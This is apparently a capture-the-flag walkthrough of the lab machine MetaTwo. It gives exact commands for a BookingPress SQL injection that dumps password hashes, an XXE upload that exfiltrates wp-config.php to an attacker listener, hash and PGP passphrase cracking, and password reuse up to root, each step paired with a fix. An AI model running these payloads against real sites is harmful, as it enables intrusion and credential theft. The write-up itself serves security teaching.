← all walkthroughs

MetaTwo

Linux· Easy· Web
owned
2026-07-07
time to own
11m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I began by mapping three exposed services — FTP, SSH, and HTTP — and discovering a WordPress 5.6 site (metapress.htb). An outdated BookingPress scheduling plugin (v1.0.10) contained a publicly known SQL injection flaw that allowed any internet visitor to dump password hashes from the WordPress database without logging in; the 'manager' account's hash was cracked offline in under two minutes to '[REDACTED: recovered credential]'. Authenticated as manager, I exploited a second unpatched flaw in WordPress's media library (CVE-2021-29447) by uploading a crafted audio file that tricked the server's XML parser into reading and exfiltrating the site's configuration file (wp-config.php), which disclosed FTP service credentials.

Logging into FTP, I found a PHP mailer script with system user jnelson's SMTP password hardcoded in plaintext; that same password was reused as jnelson's SSH login, granting a shell and the user flag. Inside jnelson's home directory sat a Passpie password manager vault encrypted with a PGP key whose passphrase was weak enough to crack offline, revealing the root account password and enabling full system compromise via 'su - root'.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration; unauthenticated WordPress REST API user disclosure
Identified exposed services and enumerated WordPress usernames via REST API
A port scan revealed three open services: FTP on port 21, SSH on port 22, and HTTP on port 80. An HTTP request to the bare IP address redirected to the virtual hostname metapress.htb. Fingerprinting confirmed WordPress 5.6 running on nginx 1.18.0. The unauthenticated WordPress REST API users endpoint returned all registered account names — including 'admin' and 'manager' — to any anonymous visitor, providing a valid target list for credential attacks.
Nmap confirmed 21/tcp, 22/tcp, 80/tcp open; HTTP redirect to metapress.htb; REST API returned full user list without authentication.
Exact commands 4
Identify open services and version banners.
nmap -sV -sC -p 21,22,80 --min-rate 5000 $TARGET
Confirm the HTTP redirect to the metapress.htb vhost.
curl -si http://$TARGET/ | grep -i location
Add the discovered vhost to local DNS resolution.
echo "$TARGET metapress.htb" | sudo tee -a /etc/hosts
Enumerate registered WordPress usernames without credentials.
curl -s 'http://metapress.htb/wp-json/wp/v2/users'
FixRestrict unauthenticated WordPress user enumeration via the REST APIMedium
WeaknessThe WordPress REST API endpoint /wp/v2/users returned all registered usernames to any anonymous visitor with no authentication required, handing an unauthorised user a free list of valid account names to target in password-cracking attacks.
FixBlock anonymous access to the REST users endpoint by filtering it for unauthenticated callers via a rest_endpoints hook in a must-use plugin. Also disable author-archive URLs (?author=N), which leak usernames through a separate code path. A security plugin such as Wordfence can enforce both controls with a single configuration change.
2EnumerationPlugin version fingerprinting; CVE-2022-0739 identification
Fingerprinted the BookingPress plugin as vulnerable to CVE-2022-0739
The publicly readable readme.txt file for the BookingPress Appointment Booking plugin confirmed version 1.0.10 was installed. This version contains CVE-2022-0739, an unauthenticated SQL injection in the bookingpress_front_get_category_services AJAX action. No login is required to reach the endpoint, making the database directly queryable from the internet.
Curl of /wp-content/plugins/bookingpress-appointment-booking/readme.txt returned 'Stable tag: 1.0.10'.
Exact commands 1
Confirm the installed plugin version from its public readme file.
curl -s 'http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt' | grep -i 'Stable tag\|Version'
3ExploitationUnauthenticated SQL injection (CVE-2022-0739); offline phpass hash cracking
Exploited BookingPress SQL injection to extract and crack the 'manager' password hash
Using the unauthenticated AJAX endpoint, a UNION-based SQL query was injected via the category_id parameter to retrieve all rows from the wp_users table, including usernames and phpass password hashes. The hash for the 'manager' account was saved locally and cracked offline against the rockyou wordlist using John the Ripper, recovering the plaintext password '[REDACTED: recovered credential]' in approximately 70 seconds — confirming the password was dictionary-based.
[REDACTED: recovered credential] (manager) 1g 0:00:01:10 DONE (2026-07-07 08:42) 0.01421g/s 203877p/s 205449c/s 205449C/s
Exact commands 3
Extract the _wpnonce value embedded in the booking page JavaScript — required for the AJAX call.
curl -s 'http://metapress.htb/events/' | grep -oP '"nonce":"\K[^"]+' | head -1
Inject SQL via category_id to dump usernames and hashes; replace <nonce> with the extracted value.
curl -s -X POST 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=<nonce>&category_id=1 UNION SELECT user_login,user_pass,3,4,5,6,7,8,9 FROM wp_users-- -'
Save the extracted phpass hash to manager_hash.txt and crack it offline; rockyou.txt is standard on Kali Linux.
john --wordlist=/usr/share/wordlists/rockyou.txt manager_hash.txt
FixUpdate BookingPress to >= 1.0.11 and enforce a 48-hour plugin patching policyCritical
WeaknessBookingPress version 1.0.10 contained an unauthenticated SQL injection (CVE-2022-0739) in an AJAX endpoint reachable without any login, allowing any visitor to extract every row from the WordPress users table — including password hashes — directly from the internet.
FixUpdate BookingPress to version 1.0.11 or later, which adds nonce verification and parameterised SQL queries that eliminate the injection. Establish a policy of applying WordPress core and plugin security updates within 48 hours of release. As a defence-in-depth layer, deploy a web application firewall (WAF) rule that blocks UNION-based SQL strings in admin-ajax POST parameters.
4ExploitationXML External Entity injection via media upload — CVE-2021-29447 (WordPress 5.6–5.7.1)
Exploited WordPress media-library XXE (CVE-2021-29447) as 'manager' to exfiltrate wp-config.php
Logged into WordPress as 'manager' (password: [REDACTED: recovered credential]), I crafted a malicious WAV audio file whose XML metadata declared an external entity pointing to me-hosted DTD file. When WordPress 5.6 processed the upload, its PHP XML parser fetched the external DTD, which chained entities to read /var/www/metapress.htb/blog/wp-config.php through a base64 PHP wrapper and exfiltrated the contents to my own HTTP listener. Decoding the base64 response revealed FTP service credentials (user: metapress.htb, password: [REDACTED: recovered credential]).
Login_url http://metapress.htb/wp-admin/profile.php status 200; media upload status 200; nonce 4d12cbdaae; upload status 200; base64-encoded wp-config.php received on my machine HTTP listener.
Exact commands 3
Serve evil.dtd and capture the exfiltrated base64 response in the server log; run in a separate terminal.
python3 -m http.server 8888
Authenticate as manager, generate the XXE WAV payload referencing the hosted DTD, upload it, and poll for the callback. Public PoC scripts for CVE-2021-29447 are available; replace $ATTACKER_IP with your listener address.
python3 metapress_upload_xxe.py --url http://metapress.htb --user manager --pass $PASSWORD2 --attacker-ip $ATTACKER_IP --attacker-port 8888
Decode the exfiltrated wp-config.php contents received in the HTTP listener log to reveal plaintext credentials.
echo '<BASE64_FROM_LISTENER>' | base64 -d
FixUpgrade WordPress to >= 5.7.2 to eliminate the media-library XXE vulnerability (CVE-2021-29447)Critical
WeaknessWordPress 5.6 through 5.7.1 passed user-uploaded media files to the PHP XML parser with external entity loading enabled. Any user with media-upload rights could instruct the server to read arbitrary local files — including wp-config.php — and exfiltrate their contents to an externally controlled host.
FixUpgrade WordPress core to version 5.7.2 or later, which disables external entity loading in the PHP XML parser. As an immediate interim measure, restrict media-upload capability to fully trusted administrator accounts only (remove it from Author and Contributor roles in Settings → Users). Block outbound HTTP/HTTPS from the web server at the firewall to neutralise file exfiltration even if a future XXE path is discovered.
5Lateral MovementFTP credential reuse; cleartext credential exposure in application source code
Used FTP credentials from wp-config.php to retrieve a PHP mailer script containing jnelson's password in plaintext
The FTP credentials extracted from wp-config.php (user: metapress.htb, password: [REDACTED: recovered credential]) authenticated successfully against the FTP service on port 21. Browsing the FTP share revealed a /mailer/ directory containing send_email.php — a PHP script with SMTP account credentials hardcoded in cleartext: username 'jnelson', password '[REDACTED: recovered credential]'. These credentials were subsequently found to also serve as jnelson's SSH login password.
FTP directory listing revealed /mailer/send_email.php; grep of the downloaded file returned the jnelson SMTP username and password in plaintext.
Exact commands 3
Authenticate to FTP with credentials from wp-config.php and list the root share contents.
curl -s -v --user 'metapress.htb:$PASSWORD4' ftp://$TARGET/
Download the PHP mailer script to my machine.
curl -s --user 'metapress.htb:$PASSWORD4' ftp://$TARGET/mailer/send_email.php -o send_email.php
Extract hardcoded credentials from the downloaded file.
grep -iE 'pass|user|host|smtp' send_email.php
FixRemove cleartext credentials from application source files stored on the FTP serverHigh
WeaknessA PHP mailer script accessible over FTP (mailer/send_email.php) contained a system account username and password hardcoded in plaintext. Any party who gained FTP read access — here enabled by credentials leaked through a separate vulnerability — immediately obtained additional working credentials at no extra effort.
FixNever hardcode credentials in source files. Move all secrets to environment variables injected at runtime, a dedicated secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager), or an encrypted configuration file kept outside web- and FTP-accessible directories. Audit all FTP shares immediately for files containing credential strings (grep -riE 'pass|secret|key|token' <share-root>) and rotate every credential found.
6FootholdCredential reuse across services (MITRE ATT&CK T1078)
Logged into SSH as 'jnelson' using reused SMTP credentials and captured the user flag
The SMTP password found in send_email.php ('[REDACTED: recovered credential]') was identical to jnelson's SSH login password. A single set of credentials served double duty across an application service and a system shell login — a classic credential-reuse pattern. SSH login succeeded immediately, and the user flag was read from ~/user.txt.
Sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 jnelson@$TARGET 'cat ~/user.txt' returned the user flag.
Exact commands 1
Confirm SSH access with the reused SMTP password and capture the user flag; flag value redacted as <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jnelson@$TARGET 'id && cat ~/user.txt'
FixEnforce unique passwords per service and disable SSH password authenticationHigh
WeaknessThe SMTP account password for 'jnelson' was identical to that user's SSH login password. Discovering it in a PHP file on an FTP server instantly provided full shell access to the production server — one leaked credential granted two independent levels of access.
FixAssign distinct, randomly generated passwords to every service credential (SMTP, SSH, database, FTP) and store them in a password manager. Prefer SSH key-based authentication and disable password-based SSH login entirely by setting PasswordAuthentication no in /etc/ssh/sshd_config, so that even if an application password is stolen it cannot be used to obtain a system shell.
7Privilege EscalationOffline GPG passphrase cracking against a Passpie credential store; privilege escalation via recovered root password (MITRE ATT&CK T1110.002)
Cracked Passpie's PGP passphrase offline to recover the root password and gained full system access
Enumerating jnelson's home directory revealed a Passpie password manager vault at ~/.passpie, which stored a root account credential encrypted with an auto-generated PGP keypair. The .keys file was copied off the server; gpg2john converted the embedded PGP secret key to John the Ripper's cracking format, and the passphrase was recovered from rockyou.txt. With the passphrase in hand, the encrypted root.pass credential file was decrypted with gpg, revealing the root account password ('[REDACTED: recovered credential]'). Because direct root SSH login was disabled, 'su - root' from jnelson's shell completed the escalation.
Sshpass -p '[REDACTED: recovered credential]' ssh -tt jnelson@$TARGET "printf '[REDACTED: recovered credential]\n' | su - root -c 'id; cat /root/root.txt'" returned uid=0(root) and the root flag.
Exact commands 5
Confirm the Passpie vault and .keys file are present in jnelson's home directory.
sshpass -p "$PASSWORD" ssh jnelson@$TARGET 'ls -la ~/.passpie'
Copy the full Passpie store (including .keys and encrypted .pass credential files) to my machine.
scp -o StrictHostKeyChecking=no -r jnelson@$TARGET:/home/jnelson/.passpie /tmp/metapress_passpie
Convert the PGP secret key to John the Ripper's hash format and crack the passphrase offline.
gpg2john /tmp/metapress_passpie/.keys > passpie_hash.txt && john --wordlist=/usr/share/wordlists/rockyou.txt passpie_hash.txt
Import the PGP key into an isolated keyring, then decrypt the stored root credential file; replace <cracked_passphrase> with the value recovered by John.
mkdir -m 700 /tmp/gpghome && GNUPGHOME=/tmp/gpghome gpg --batch --import /tmp/metapress_passpie/.keys && GNUPGHOME=/tmp/gpghome gpg --batch --pinentry-mode loopback --passphrase '<cracked_passphrase>' --decrypt /tmp/metapress_passpie/ssh/root.pass
Use the recovered root password to switch to root via 'su' and capture the root flag; flag value redacted as <root.txt>.
sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jnelson@$TARGET "printf '%s\n' '$PASSWORD3' | su - root -c 'id; cat /root/root.txt'"
FixProtect privileged credential stores with strong passphrases and remove them from user home directoriesCritical
WeaknessThe Passpie password manager vault in jnelson's home directory used an auto-generated PGP key protected by a passphrase weak enough to crack in seconds against a common wordlist. Cracking it directly exposed the root account password, stored in a location accessible from any low-privilege shell on the system.
FixProtect any PGP-based credential vault with a long, randomly generated passphrase (minimum 24 characters, non-dictionary). Do not store root or other privileged account credentials in a regular user's home directory; use a dedicated privileged access management (PAM) solution requiring multi-factor authentication instead. Additionally set PermitRootLogin prohibit-password in /etc/ssh/sshd_config so that even a known root password cannot be used directly over SSH, and require sudo with a separate password for any privileged operations.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

21/tcp
22/tcp
80/tcp